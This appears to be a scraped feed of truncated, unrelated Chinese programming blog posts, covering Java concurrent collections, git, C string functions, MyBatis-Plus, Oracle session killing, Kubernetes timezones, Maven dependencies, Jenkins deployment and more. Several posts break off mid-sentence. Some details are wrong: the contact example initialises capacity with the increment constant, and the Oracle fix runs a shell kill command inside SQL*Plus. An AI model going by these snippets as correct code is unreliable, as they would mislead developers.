Java多线程(四)---并发编程容器

1.经常使用什么并发容器,为什么? 答:Vector、ConcurrentHashMap、HasTable 一般软件开发中容器用的最多的就是HashMap、ArrayList,LinkedList ,等等 但是在多线程开发中就不能乱用容器,如果使用了未加锁(非同步)的的集合,你的数据就会非常的混乱。由此在多线程开发中需要使用的容器必须是加锁(同步)的容器。 2. 什么是Vector Vector与ArrayList一样,也是通过数组实现的,不同的是它支持线程的同步,即某一时刻只有一个线程能够写Vector,避免多线程同时写而引起的不一致性,但实现同步需要很高的花费,访问它比访问ArrayList慢很多( ArrayList是最常用的List实现类,内部是通过数组实现的,它允许对元素进行快速随机访问。当从ArrayList的中间位置插入或者删除元素时,需要对数组进行复制、移动、代价比较高。因此,它适合随机查找和遍历,不适合插入和删除。ArrayList的缺点是每个元素之间不能有间隔。 ) 3. ArrayList和Vector有什么不同之处? Vector方法带上了synchronized关键字,是线程同步的 1. ArrayList添加方法源码 2. Vector添加源码(加锁了synchronized关键字) 4. 为什么HashTable是线程安全的? 因为HasTable的内部方法都被synchronized修饰了,所以是线程安全的。其他的都和HashMap一样 1. HashMap添加方法的源码 2. HashTable添加方法的源码 5.ConcurrentHashMap,讲一下他和HashTable的不同之处? 多线程环境可以使用Collections.synchronizedMap同步加锁的方式,还可以使用HashTable,但是同步的方式显然性能不达标,而ConurrentHashMap更适合高并发场景使用。 ConcurrentHashmap在JDK1.7和1.8的版本改动比较大,1.7使用Segment+HashEntry分段锁的方式实现,1.8则抛弃了Segment,改为使用CAS+synchronized+Node实现,同样也加入了红黑树,避免链表过长导致性能的问题。 1.7分段锁 从结构上说,1.7版本的ConcurrentHashMap采用分段锁机制,里面包含一个Segment数组,Segment继承与ReentrantLock,Segment则包含HashEntry的数组,HashEntry本身就是一个链表的结构,具有保存key、value的能力能指向下一个节点的指针。 实际上就是相当于每个Segment都是一个HashMap,默认的Segment长度是16,也就是支持16个线程的并发写,Segment之间相互不会受到影响。 put流程 其实发现整个流程和HashMap非常类似,只不过是先定位到具体的Segment,然后通过ReentrantLock去操作而已,后面的流程我就简化了,因为和HashMap基本上是一样的。 计算hash,定位到segment,segment如果是空就先初始化 使用ReentrantLock加锁,如果获取锁失败则尝试自旋,自旋超过次数就阻塞获取,保证一定获取锁成功 遍历HashEntry,就是和HashMap一样,数组中key和hash一样就直接替换,不存在就再插入链表,链表同样 get流程 get也很简单,key通过hash定位到segment,再遍历链表定位到具体的元素上,需要注意的是value是volatile的,所以get是不需要加锁的。 1.8CAS+synchronized 1.8抛弃分段锁,转为用CAS+synchronized来实现,同样HashEntry改为Node,也加入了红黑树的实现。主要还是看put的流程。 put流程 首先计算hash,遍历node数组,如果node是空的话,就通过CAS+自旋的方式初始化 如果当前数组位置是空则直接通过CAS自旋写入数据 如果hash==MOVED,说明需要扩容,执行扩容 如果都不满足,就使用synchronized写入数据,写入数据同样判断链表、红黑树,链表写入和HashMap的方式一样,key hash一样就覆盖,反之就尾插法,链表长度超过8就转换成红黑树 get查询 get很简单,通过key计算hash,如果key hash相同就返回,如果是红黑树按照红黑树获取,都不是就遍历链表获取。 6. Collections.synchronized * 是什么? 注意:* 号代表后面是还有内容的 此方法是干什么的呢,他完完全全的可以把List、Map、Set接口底下的集合变成线程安全的集合 Map<String, Object> synchronizedHashMap = Collections.synchronizedMap(new HashMap<String, Object>()); 7. SynchronizedMap 和 ConcurrentHashMap 有什么区别? SynchronizedMap 一次锁住整张表来保证线程安全,所以每次只能有一个线程来访为 map。

git代码变更到其他分支

git分支管理在日常工作中是非常常用的,我们可能需要在不同的分支上开发不同的代码,但是如果写错分支了,直接切分支又有冲突,怎么把当前已写的内容迁移到其他分支呢,以下是我常用的方法: 一、未commit提交的代码 1、我当前在dev分支做了一些更改,但是这个更改是要放在master分支的 2、这个时候我直接切分支,会有以下报错,因为有冲突 3、先贮藏改动的内容 4、贮藏后,该改动就被保持到一个临时贮藏版本,然后改动就不在当前分支了,可以正常切分支。切换分支后,应用贮藏,将贮藏的内容,迁移到新分支 5、应用贮藏后,就可以看到该改动记录就到了新分支,可以正常提交了 二、已提交的代码,遴选到指定分支 举例:需要把提交到dev分支的某一次提交的代码提取到master分支(不能直接合并,因为合并会把dev的所有内容都同步到master) 1、切换到master分支,在提交历史记录列表中找到需要遴选的提交 2、右击遴选 3、直接点击继续 4、如果没有冲突的话,在dev提交的代码就会被同步到当前分支。如果有冲突,解决冲突,保留dev分支的改动即可

2. Dart 开发工具环境配置

很多编辑器都可以用来开发dart,所以大家可以选择自己喜欢的编辑器去进行开发。 我还是比较喜欢vs code 如果你不用vs code来开发dart的话,这篇文章可以直接跳过。 如果想要在vs code里有dart的语法提示,我们需要安装相关的插件 如图点开插件 输入dart 选择第一个插件安装 安装完dart的语法提示之后,我们还要安装一个东西,让我们可以在vs code里运行dart 搜索code runner并安装 以上两个sdk安装完之后,我们建个文件来测试一下sdk是否生效 新建index.dart 创建主函数mian() { ... } print随便输出点什么 注意:dart是严格以;结尾的 不打会报错哦 dart的开发工具环境配置就这样咯,对你有参考的的话希望可以点个赞或者留个收藏! 能粉一下就更好了

【C语言进阶】字符串处理函数的介绍

目录 前言: 一、字符串处理函数介绍: 1.strlen函数: 2.strcpy函数: 3.strcat函数: 4.strcmp函数: 5.strncpy函数: 6.strncat函数: 7.strncmp函数: 8.strstr函数: 9.strtok函数: 10.strerror函数: 11.memcopy函数: 12.memmove函数: 13.memcmp函数: 二、总结: 前言: 本文我们将进入对字符串处理函数的学习,重点介绍处理字符和字符串的库函数的使用和注意事项。 一、字符串处理函数介绍: C语言中对字符和字符串的处理很是频繁,但是C语言本身是没有字符串类型的,字符串通常放在常量字符串或字符数组中。其中,字符串常量是用于那些对它不修改的字符串函数。 1.strlen函数: 相信大家对strlen函数已经不陌生,在C语言初阶我们就经常使用这个函数了。 strlen函数(string length)的作用是用于返回字符串结束标志‘\0’之前出现的字符个数,因此,strlen函数处理的字符串对象必须是以结束标志‘\0’结尾的字符串。其返回值类型是size_t类型,也就是无符号类型。 下面是strlen函数的基本使用方法: #include<stdio.h> #include<string.h> int main() { char arr1[] = "hellow"; char arr2[] = { 'h','e','l','l','o','w','\0' }; char arr3[] = { 'h','e','l','l','o','w' }; int len1 = strlen(arr1); int len2 = strlen(arr2); int len3 = strlen(arr3); printf("%d ", len1); printf("%d ", len2); printf("%d ", len3); return 0; } 该代码输出结果如下:

基于logback自定义一个kafka appender,以实现日志异步自动格式化为JSON字符串并推送到kafka

基于logback自定义一个kafka appender,以实现日志异步自动格式化为JSON字符串并推送到kafka 加载xml中的kafka的配置信息和项目的一些其它参数 继承UnsynchronizedAppenderBase public abstract class KafkaAppenderConfig<E> extends UnsynchronizedAppenderBase<E> { String topic="errorMsgTopic"; boolean neverBlock = false; int queueSize = 256; int maxTimeout = 5000; Formatter formatter=new MessageFormatter(); protected Map<String,Object> producerConfig = new HashMap<String, Object>(); // 在XML配置中设置属性值 public void setTopic(String topic) { this.topic = topic; } public void setNeverBlock(boolean neverBlock) { this.neverBlock = neverBlock; } public void setQueueSize(int queueSize) { this.queueSize = queueSize; } public void setMaxTimeout(int maxTimeout) { this.

【Spring Boot】快速整合Mybatis-Plus

一、引言 Mybatis-Plus是一个MyBatis的增强工具,在MyBatis的基础上只做增强不做改变,为简化开发、提高效率而生。它已经被大规模地应用在实际项目中,极大地提高了开发效率。 Mybatis-Plus主要有以下特点: 无侵入(不会对现有工程造成影响)强大的CURD操作(内置通用Mapper、通用Service来实现单表的大部分CURD操作)内置多种插件(分页插件、性能分析插件、全局拦截插件) 二、快速整合 这里我使用的Spring Boot版本:2.5.14 2.1 引入依赖 在pom文件中引入mybatis-plus-boot-starter依赖,这里使用版本3.5.1,如下 <!-- springboot集成mybatis-plus --> <dependency> <groupId>com.baomidou</groupId> <artifactId>mybatis-plus-boot-starter</artifactId> <version>3.5.1</version> </dependency> <!-- mysql驱动 --> <dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> <version>8.0.29</version> </dependency> 2.2 配置Mybatis-Plus及数据源 下面是mybatis-plus的部分配置项,具体配置可参考官网https://baomidou.com/pages/56... server: port: 8081 spring: datasource: driver-class-name: com.mysql.cj.jdbc.Driver username: root password: 123456 url: jdbc:mysql://localhost:3306/test?characterEncoding=utf8 mybatis-plus: # 如果是放在src/main/java目录下 classpath:/com/yourpackage/*/mapper/*Mapper.xml # 如果是放在resource目录 classpath:/mapper/*Mapper.xml mapper-locations: classpath:/mapper/**/*.xml #实体扫描,多个package用逗号或者分号分隔 typeAliasesPackage: com.kamier.springboot.mybatisplus.domain.* configuration: #开启 Mybatis 二级缓存,默认为 true cache-enabled: false #配置JdbcTypeForNull, oracle数据库必须配置 jdbc-type-for-null: 'null' global-config: db-config: # AUTO:数据库自增 INPUT:自行设置 ASSIGN_ID:雪花算法id ASSIGN_UUID:UUID id-type: AUTO # 逻辑删除配置(下面3个配置) logic-delete-field: del_flag logic-delete-value: 1 logic-not-delete-value: 0 2.

plsql执行kill报错ora-00031 标记要终止的会话

本地环境,数据库是在linux环境下,非windows系统 数据库:oracle 在执行insert into 的时候太慢了,就把plsql直接任务管理器给关了,关了之后发现表被锁住了。 利用 alter system kill session 'SID, SERIAL#’ 报错: ora-00031 标记要终止的会话 解决办法: 1、plsql下执行脚本,获取spid: SELECT P.SPID, S.SID, S.SERIAL# , S.USERNAME, S.PROGRAM FROM V$PROCESS P , V$SESSION S WHERE P.ADDR= S.PADDR AND S.STATUS = 'KILLED'; 2、利用数据库服务器 杀进程 01.打开数据库链接: SQLPLUS /NOLOG 02.管理员连接: connent /as sysdba 03.删除会话: kill -9 SPID 其中SPID为 第一步执行获得的 P.SPID

时间、空间复杂度是啥?它们是如何体现算法复杂度特点的?

时间、空间复杂度是啥?它们是如何体现算法复杂度特点的? 定义(たぶん?):时间复杂度:衡量逻辑:其公式以及意义:大O符号表示法: 时间复杂度f(n)的常见类型及C语言举例:常数阶O(1):线性阶O(n):对数阶O(logN):线性对数阶O(nlogN):平方阶O(n^2): 空间复杂度: 定义(たぶん?): 时间复杂度:算法的时间复杂度是一个函数,它定性描述算法的运行时间。 空间复杂度:对一个算法在运行过程中临时占用存储空间大小的亮度。 时间复杂度: 衡量逻辑: “算法程序运行的时间复杂度?我直接在设备上试着跑一下不就好了吗“ 诚然,衡量一个算法时间复杂度的最无脑的方法便是直接测量出算法程序完成运行所需要的时间。在C语言中可以调用time.h头文件,调用其中的clock()函数。 但是有一个影响程序运行速度的因素被我们忽略了——设备本身的性能。即使是在同一设备下运行,多次运行的时间也几乎很难相同。 于是,我们便引出了时间复杂度这一概念,它不关注程勋运行所需的时间,而是聚焦于代码本身使用算法的逻辑,从底层逻辑去完成对“所耗时间”评估。 其公式以及意义: 大O符号表示法: T(n) = O(f(n)); 其中f(n)表示每行代码执行次数之和; O表示正比例关系; 公式全称为:算法的渐进时间复杂度。 ——来自知乎@不止思考 注意:大O符号表示法并不能用来真实表示算法的执行时间,而是用来表示代码执行时间的增长变化趋势。 我们在计算时间复杂度时,有一些我们可以选择忽略的影响因素: 假设每行代码的执行时间都一致,忽略单行代码内容不同导致完成动作的时间不同。 以n趋向于无限大的时候作为目标考虑,往往可以忽略常数对于时间复杂度的影响。 补充一下:n一般是代码中的某一个可以影响算法进行或循环次数的变量 时间复杂度f(n)的常见类型及C语言举例: 常数阶O(1): int a, b; a=2; a=3; b=32; 没有循环体等结构,不存在变量n来影响算法进行时长。无论这类代码有多长,它的时间复杂度都为O(1)。 线性阶O(n): int n; int sum; scanf("%d",&n); for(; n > 0; n--){ sum = sum + 1; } 代码中存在一个由变量n来控制循环次数的循环结构。前面4行可以看做4,在循环体中的语句则会执行n次,故应当有: f(n) = 4 + n n趋于无限大时,f(n) = n 对数阶O(logN): int i = 1; while(i<n) { i = i * 2; } 同样是循环体,但是i每次循环结束后会*2,故它的循环次数并不是i。应有2的i次方等于n,故当循环log2^n次后,这个代码结束。

微信小程序云开发实现一对一聊天

微信小程序云开发实现一对一聊天 这篇文章是第一篇写的,现已对小程序进行了大改版,可以点此进行查看 点击获取源码 有的时候小程序可以会涉及到聊天,评论的等功能,像博客,外卖平台等。这篇文章就先介绍的怎样借助云开发实现即时一对一,不同场景的聊天的功能。 首先要创建创建一个新的云开发的小程序。我们可以借助云开发的即时通信模板来实现我们自己的功能。如果你不知道云开发怎么使用,可以去查看开发文档。 会看到控制台出现了开始监听等信息,这是利用的 Collection.watch。具体可以参考文档https://developers.weixin.qq.com/miniprogram/dev/wxcloud/reference-client-api/database/collection.watch.html只有利用watch监听集合中符合查询条件的数据的更新事件从而实现实时的功能。我们在首先在云数据库创建集合chatroom,以便存储我们发的内容。点击云开发,点击数据库在点击+号输入集合名称,点击确定 发现,不管也有几个账号,只要发送内容都会进入这一个聊天室。那如果我们想根据不同的环境进入不同的聊天室或者我们如何实现一对一的操作。接下来的讲解对于新手来说比较简单,因为看完可以直接套用到自己的小程序上。大神可以自动忽略。 首先我们先寻找为什么我们多账号发的消息进入了一个聊天室,是不是有唯一指定的id。我们首先从数据库出发。我们连续发送几条消息在集合中查看各个记录的字段 根据他们的字段名称,对比这几个记录我们发现,_id _openid avatar nickName 等都是用户的信息,msgType 我们可以发现这个字段记录的是我们发送的是文字还是图片,即text/image sendTime sendTimeTS很明显能看出他们是发送内容的时间。然后textContent是我们的消息内容。 这样分析以来,只有groupId我们不知道是干什么的,因此我们就从英文上猜测他是这个聊天室的id。因此我们将字段值复制(groupId),回到程序我们全局搜索计划任务 具体是哪一个我们并不知道,我们可以查看他们所在的路径,明显的看到6 是一个变量的赋值,然后我们在回想我们进入聊天室的过程,我们发现聊天的界面就是6的路径,因此我们双击打开 我们打开room.js 找到data可以发现 chatRoomGroupId的值是demo,这和我们刚才集合中字段的值一摸一样,因此我们猜测他就是定位聊天室的唯一id。如果我们将这个值修改为demodemo,就会发现我们刚才发的内容不见了,重新发送几条消息,在数据库中groupId的值变成了demodemo. 因此我们确定了聊天室的唯一标识符groupId 剩下的事情就好办了,我们只要给该变量赋值,就可以解决我们开头提到的问题,一对一的聊天和不同的聊天室。一对一即确定将groupId的值用两个用户的openid或者唯一标识赋值即可。 那我们如何给groupid赋值呢, 我们可以看到我们是在room.js中,那我们怎么到达的room.js呢。返回即可发现我们是在im中进入 我们可以看到进入聊天室的按钮可以跳转到刚才的聊天界面,那我们就像能不能通过传参的方式给chatRoomGroupId 赋值以便实现给groupid赋值,当然可以。 因此我们就在点击按钮的时候传值,以便实现用户可以根据场景进入不同的聊天室。 在这里我们不采用他的这种跳转方式,我们采用button,更灵活。我们创建三个button,给他们的data-id即我们groupid的名字。go是按钮相应的函数。 这样我们就实现了跳转到room页面传递参数,接下来是赋值。我们在room.js中将chatroomgroupid赋空 在room.js中我们添加下列语句 从而实现赋值功能,接下来让我们测验一下。点击chat1 我们会发现 输入内容点击chat2输入内容,这已经是两个聊天室了。这里的chat1 chat2 只是一个名字,就相当我们微信的工作群和家庭群一样。我们可以通过其名称来进入不同的聊天室。 我们也可以通过点击头像,触发刚才的go函数,给data-go赋值唯一的标识符进入一对一的聊天室。比如像:我们在刚才的im.wxml页面 添加image控件,模拟用户头像。实现点击一对一聊天。**那么我们就要通过数据库获取我的账号_openid和头像用户的_openid,作为聊天室的唯一标识符,从而实现一对一的聊天。**这里image的data-id 用js中模拟的变量name来传递点击编译后我们就可以实现了

【动态内存管理】【C语言进阶】应用—通讯录contact2.0

文章目录 静态版本contact总体思路InitContact初始化动态版AddContact动态版释放空间 静态版本contact 【C语言进阶】struct结构体的应用——通讯录(初级) 总体思路 动态版本目标:通讯录最开始可以放入n个人的信息,如果满了就自动扩容,每次增加m个人的容量 //创建联系人结构体 struct PeoInfo { char name[NAME_MAX]; char gender[GENDER_MAX]; char tel[TEL_MAX]; int age; char addres[ADDR_MAX]; }; //静态版本 //struct Contact //{ // struct PeoInfo data[N_MAX]; // int sz; //}; //动态版本 struct Contact { struct PeoInfo* data; int sz; int capacity; }; InitContact初始化动态版 用malloc开辟空间,将此空间的地址赋值给pc->data判断空间开辟是否成功成功则分别初始化sz和capacity的大小 定义初始化大小(通讯录中最开始可以放入Init_num个人的信息)和增加大小(每次扩容增加Inc_num个联系人的空间)为👇 //初始化通讯录(动态版) void InitContact(struct Contact* pc) { assert(pc); pc->data = (struct PeoInfo*)malloc(Init_num * sizeof(struct PeoInfo)); if (pc->data != NULL) { pc->sz = 0; pc->capacity = Inc_num; } else { perror("

服务器ping不通 github.com

https://www.cnblogs.com/arisskz6/p/16989529.html 安装 1、git clone https://github.com/pyenv/pyenv.git ~/.pyenv 配置环境变量 2、vim ~/.bashrc echo 'export PYENV_ROOT="$HOME/.pyenv"' >> ~/.bashrc echo 'command -v pyenv >/dev/null || export PATH="$PYENV_ROOT/bin:$PATH"' >> ~/.bashrc echo 'eval "$(pyenv init -)"' >> ~/.bashrc export PYENV_ROOT="$HOME/.pyenv" command -v pyenv >/dev/null || export PATH="$PYENV_ROOT/bin:$PATH" eval "$(pyenv init -)" export PYENV_ROOT="$HOME/.pyenv" command -v pyenv >/dev/null || export PATH="$PYENV_ROOT/bin:$PATH" eval "$(pyenv init -)" 刷新 . ~/.bashrc 安装成功 4、查看安装版本 对应自己的python环境版本 选择安装 pyenv install -l 5、查看版本 pyenv versions

Android实现炫酷跳动的闪屏LOGO

前言: 在日常开发中,经常会遇到各种视觉效果,有的效果可能一眼看去会让人觉得很复杂,但是我们必须明确一点: 所有复杂动效都是可以分解成单一的基础动作,比如缩放,平移,旋转这些基础单元,然后将所有基础单元动作进行组合,就会产生让人眼前一亮的视觉动效。 图效果: 思路分析: 1、Logo的名称LitePlayer被拆分为单个文字; 2、所有文字随机打散在屏幕各个位置; 3、中间的Logo被隐藏; 4、Logo文字从随机位置平移到页面固定位置; 5、中间的Logo图片逐渐显示,并且附带从下往上平移一小段位移; 6、Logo被打散的文字组合成名称; 7、Logo组合成名称后,有个渐变的光晕照射效果从左往右移动; 8、动画结束; 当我们把动画拆解后,就可以针对每个拆解单元去构造实现方案了。 代码实现: 首先我们先对logo文字动画进行实现: 1、首先对于数据来源,我们期望传入一个logo的字符串,内部将字符串拆解为单个文字数组: // fill the text to array private void fillLogoTextArray(String logoName) { if (TextUtils.isEmpty(logoName)) { return; } if (mLogoTexts.size() > 0) { mLogoTexts.clear(); } for (int i = 0; i < logoName.length(); i++) { char c = logoName.charAt(i); mLogoTexts.put(i, String.valueOf(c)); } } 2、所有文字需要随机打散在屏幕各个位置,因为涉及到坐标,我们可以在onSizeChanged中进行logo文字随机位置的初始化,同时我们构建两个集合存储每个文字被打散和组合后的坐标状态: // 最终合成logo后的坐标 private SparseArray<PointF> mQuietPoints = new SparseArray<>(); // logo被随机打散的坐标 private SparseArray<PointF> mRadonPoints = new SparseArray<>(); @Override protected void onSizeChanged(int w, int h, int oldw, int oldh) { super.

基于Windows的Cmake安装教程

1、访问去官网Download | CMake下载界面,他会告诉你可以下载binaries或者source code archives版本,有最新版本和之前的版本。 2、关于binaries或者source code archives版本的区别,被chatGpt回答的明明白白的,所以对于我们小白来说选择binaries版本就好啦。 3、点击 latest stable 会进去,跳转到下载界面,划重点要下载后缀为.msi格式的。 4、双击打开下载的文件,点击“next” 5、勾选接受后点击“next” 6、添加环境变量和快捷键,看下图描述,然后点击“next” 7、更改安装位置(可以不更改,默认即可),然后点击“next” 8、点击“Install”等待安装,后出现右图所示,点击“Finish”安装结束。 9、测试是否安装成功,打开终端(win+R快捷键然后输入cmd回车),输入 cmake --version后,出现下载的版本号即代表安装成功。 10、如果是与Visio studio配合使用,但是Visio studio中找不到“File | Open -> CMake”“文件|打开->CMake”,可以看我的另一篇解决办法:http://t.csdn.cn/A0N5j

【Vue】Vue 使用 Print.js 打印选中区域的html,用到的是Element ui table表格,解决页面样式不出现或者table表格样式错乱问题!!!

步骤 1. 下载 Print.js 插件 npm install print-js --save 2.main.js文件中导入 Print.js 插件 import print from 'print-js' 页面使用 需求:打击打印按钮,文字内容以及表格中的内容 vue Print.js打印页面样式不出现 解决方案 加上这句就好了!完美! tips 特别注意:打印问题总结 一、因为表格数据过多,之前加了表格滚动条,但是打印出来 会把表格上的滚动条也打印出来,所以这里改成了 给弹框加滚动条,去掉表格中的滚动条 二、表格的列缺失(element-ui table组件) 2.1 原因: table-layout: fixed导致的,出现部分列没有被打印 让表table布局更加符合预期,普通使用table时,其table-layout 默认值是 auto,导致表格第二行和第一行不一样宽,也就是两行的宽度不对齐。而使用: table { table-layout: fixed; } 则会让表的布局以第一行为准,设置表格的宽度,然后其他行的表格宽度就按照第一行为准。一般表格第一行是表头标题,第二行以后是数据行,也就是让数据行的每列宽度向第一行列宽度看齐。 这种样式的表格布局在性能上也快得多,这是因为整个表格的内容不需要花费进行分析,以便知道列的宽度。 解决方法: <style> >>>table { table-layout: auto !important; } >>>.el-table__header-wrapper .el-table__header { width: 100% !important; } >>>.el-table__body-wrapper .el-table__body { width: 100% !important; } </style> 注意点: >>>table { table-layout: auto !

如何通过jar包得知maven坐标,以及如何替换依赖的依赖的版本

问题一:我只能得到这个jar包的名字,如果得知这个jar包的maven坐标(groupId以及artifactId)? 思路1:将jar包的名字(去除版本号)在mvn仓库中搜索,地址:https://mvnrepository.com/,看能不能找到 思路2:反编译这个jar包,使用JD-GUI反编译工具 思路3:如果已经在IDEA中,直接定位到当前jar包的位置, 问题二:多模块的java工程中,存在一些依赖冲突,会出现多版本的依赖,比如当前模块1依赖A,A依赖B,当前模块2依赖C,C依赖B的另一个版本,这样打包的过程中会存在多个版本的B,如何解决? 子问题1:究竟是哪些依赖引入了B呢?需要找到是哪些依赖引入B 思路:使用maven命名查找 比如查找com.fasterxml.jackson.core:jackson-databind这个依赖有哪些依赖引入,使用maven命令: mvn dependency:tree -Dverbose -Dincludes=com.fasterxml.jackson.core:jackson-databind 使用这个命令就能找到所有的引入com.fasterxml.jackson.core:jackson-databind依赖的引入路径。 从结果中可以看到是哪个模块,哪个依赖引入的,以及依赖引入的scope,注意provided不会打包进去,解决这个问题应该是从最基础的模块开始解决。 子问题2:接上一个问题的解答,现在我们已经知道了有很多其他的依赖引入了B的不同版本,由于B的老版本存在CVE漏洞,那么需要升级这个依赖的版本,如何做? 思路:首先需要排除掉多余的依赖引入,可以在相关的依赖上用 <dependency> <groupId>com.github.xiaoymin</groupId> <artifactId>knife4j-spring-boot-starter</artifactId> <version>3.0.3</version> <!-- 排除低版本的依赖 --> <exclusions> <exclusion> <artifactId>jackson-annotations</artifactId> <groupId>com.fasterxml.jackson.core</groupId> </exclusion> <exclusion> <artifactId>jackson-core</artifactId> <groupId>com.fasterxml.jackson.core</groupId> </exclusion> <exclusion> <artifactId>jackson-databind</artifactId> <groupId>com.fasterxml.jackson.core</groupId> </exclusion> </exclusions> </dependency> <!-- 引入高版本的依赖 --> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-databind</artifactId> <version>${jackson.version}</version> </dependency> IDEA有dependency Analyzer工具,可以方便解决jar包依赖冲突,排除后引入新版本的依赖即可 另:在maven中央仓库中可以看到哪些版本没有漏洞,可以选择一个没有漏洞的版本进行替换,平时在引入依赖的时候也可以查看这里,避免引入有漏洞的版本。

K8s Pod与宿主机时区不同步

目录 本机替换上海时间 一、通过定制Dockerfile添加时区 二、通过将时区文件挂在到Pod中 三、通过环境变量定义时区 四、修改k8s表空间时区 本机替换上海时间 sudo timedatectl set-timezone Asia/Shanghai && sudo ntpdate time.windows.com 一、通过定制Dockerfile添加时区 $ cat Dockerfile.date FROM centos RUN rm -f /etc/localtime \ && ln -sv /usr/share/zoneinfo/Asia/Shanghai /etc/localtime \ && echo "Asia/Shanghai" > /etc/timezone # 构建容器镜像 $ docker build -t centos7-date:test -f Dockerfile.date . $ docker run -it centos7-date:test /bin/sh sh-4.2# date Wed Mar 6 17:40:01 CST 2019 二、通过将时区文件挂在到Pod中 cat time-mount.yaml apiVersion: v1 kind: Pod metadata: name: time spec: containers: - name: time image: nginx args: [/bin/sh, -c, 'i=0; while true; do echo "

node.js从控制台中获取数据

node.js从控制台中获取数据 成品代码 //该方法需要返回一个Promise对象 function consoleScanner(){ return new Promise((resolve,reject)=>{ //打开流 process.stdin.resume(); //监听输入事件 process.stdin.on('data',chunk=>{ //得到数据 resolve(chunk); }) }) } //由于await只能在被async修饰函数中执行所以可以将之前得代码用函数进行包裹 async function main(){ console.log('请输入您的名字'); var username = await consoleScanner(); console.log('您的名字是:'+username); } //执行 main(); 效果如下: 涉及知识 实现上面的代码主要涉及了3个知识 processPromiseasync和await process process是一个全局变量,不需要require就可以直接使用,它里面包含众多的系统进程信息,包括进程号,node版本,目录等等。 在这里主要提及两个属性 process.stdout 标准输出流 process.stdout.write('Hello') //效果:从控制台上输出Hello 通过process.stdout.write方法可以实现和console.log()相同的效果 实际上,console.log的底层就是由process封装而成 2. process.stdin 标准输入流 //默认情况下流是关闭的,需要监听处理输入流数据,首先要开启输入流 process.stdin.resume(); //监听用户输入的数据,当用户输入数据时就会触发 process.stdin.on('data',chunk=>{ console.log('您输入了:'+chunk); }) 结果: 仅仅是这些代码,并不能让我们随心所欲的在代码的任意地方去获取用户输入的值 因为这其间存在着一个异步的问题 要获取控制台的值就必须对用户的输入进行等待 而Promise+async+await的结合就能很好的做到这一点 知识点小复习 如果await修饰了Promise对象,则需要等待Promise获取到结果之后代码才会据需执行 await只能在被async修饰的函数中使用 首先我们可以将出入事件监听包装成一个Promise函数 function consoleScanner(){ return new Promise((resolve,reject)=>{ //打开流 process.stdin.resume(); //监听输入事件 process.

Jenkins利用阿里镜像仓库部署springboot应用

Jenkins利用阿里镜像仓库部署springboot应用 一、本次目标二、环境准备三、jenkins创建项目1、添加全局配置参数,这里我配置了版本号信息2、源码配置3、maven打包&docker镜像包生成4、远程机器执行部署脚本 四、构建五、访问测试 一、本次目标 使用jenkins将gitee代码库中的代码编译后打成docker镜像包并发布到阿里云个人镜像仓库,之后在远程服务部署该镜像包 二、环境准备 阿里云镜像仓库 登陆阿里云查找“容器镜像服务” 进入容器镜像服务 我们需要在jenkins所在的机器上进行授权,否则编译打包好的docker镜像无法推送至阿里的镜像仓库中,可以参考下文 docker推送镜像至阿里私有镜像仓库 进入到个人实例 # 登陆授权 docker login --username=自己的用户名 registry.cn-hangzhou.aliyuncs.com # 取消授权 docker logout registry.cn-hangzhou.aliyuncs.com 授权完成之后我们就可以正常向阿里镜像仓库推送docker镜像文件了。 三、jenkins创建项目 1、添加全局配置参数,这里我配置了版本号信息 2、源码配置 3、maven打包&docker镜像包生成 4、远程机器执行部署脚本 完整的配置信息如下图 本次部署涉及到几个重要的脚本如下: Dockerfile文件内容如下: # 该镜像需要依赖的基础镜像 FROM java:8 # 指定维护者的名字 MAINTAINER zhanghang VOLUME /tmp RUN echo "export LC_ALL=zh_CN.UTF-8" >> /etc/profile ENV TZ=Asia/Shanghai RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone # 将当前目录下的jar包复制到docker容器的/目录下 ADD ./target/button_swagger.jar button_swagger.jar RUN bash -c 'touch /button_swagger.

SpringMVC学习(一)——快速搭建SpringMVC开发环境(非注解方式)

目录 1、开发环境准备1.1、首先电脑需要安装JDK环境(略)1.2、准备一个以供开发的tomcat1.3、准备Maven工具1.4、准备IDE编译器1.5、准备一个本地的数据库, 2、搭建SpringMVC开发环境2.1、创建web工程2.2、使用maven引入相关的依赖2.3、项目的整体结构图2.4、新增springmvc-servlet的配置文件2.5、web.xml核心配置2.5、第一个HelloController2.6、配置Tomcat服务并启动2.7、增加数据库配置2.8、访问数据库测试 3、框架搭建过程注意事项3.1、创建maven项目特别缓慢?3.2、applicationContext.xml和springmvc-servlet.xml区别?3.3、ApplicationContext和WebApplicationContext的关系? 1、开发环境准备 1.1、首先电脑需要安装JDK环境(略) 说明:本机使用的是JDK1.8.0_45,一定要记得配置环境变量。 1.2、准备一个以供开发的tomcat 说明:本机使用的是Tomcat 8.0.35。 1.3、准备Maven工具 说明:因为本机使用的是maven构建项目,本机使用的Maven版本为apache-maven-3.1.0。 1.4、准备IDE编译器 说明:本次开发使用的是IDEA,如果使用Eclipse也不影响开发。 1.5、准备一个本地的数据库, 说明:本机使用的是mysql数据库,目的是为了测试数据库连接以及访问,数据库版本为mysql 5.1.41。 注意一下,上面是本次开发使用的开发环境的前期准备工作,如果是没有进行过开发的小白可提前把开发环境搭建好,搭建开发环境的案例很多,本次就不再赘述了。 2、搭建SpringMVC开发环境 2.1、创建web工程 首先使用Maven工具创建一个webapp工程,选择 File -> New Module ->Maven,选中“Create from archetype”,选择如下图的webapp工程 然后选择“下一步”填入相应的字段知道完成项目创建,如果此处创建过程非常慢,请参考注意事项3.1。 2.2、使用maven引入相关的依赖 本例中使用的spirngmvc的版本为4.3.25.RELEASE <dependencies> <dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>4.12</version> <scope>test</scope> </dependency> <!-- springmvc核心依赖 --> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-webmvc</artifactId> <version>${spring.version}</version> </dependency> <!-- tomcat中存在此web运行的jar包 --> <dependency> <groupId>javax.servlet</groupId> <artifactId>javax.servlet-api</artifactId> <version>3.0.1</version> <scope>provided</scope> </dependency> <dependency> <groupId>javax.servlet.jsp</groupId> <artifactId>jsp-api</artifactId> <version>2.2</version> <scope>provided</scope> </dependency> <!-- 使用SpringJDBC进行数据库配置 --> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-jdbc</artifactId> <version>${spring.version}</version> </dependency> <!

Redis常用操作命令

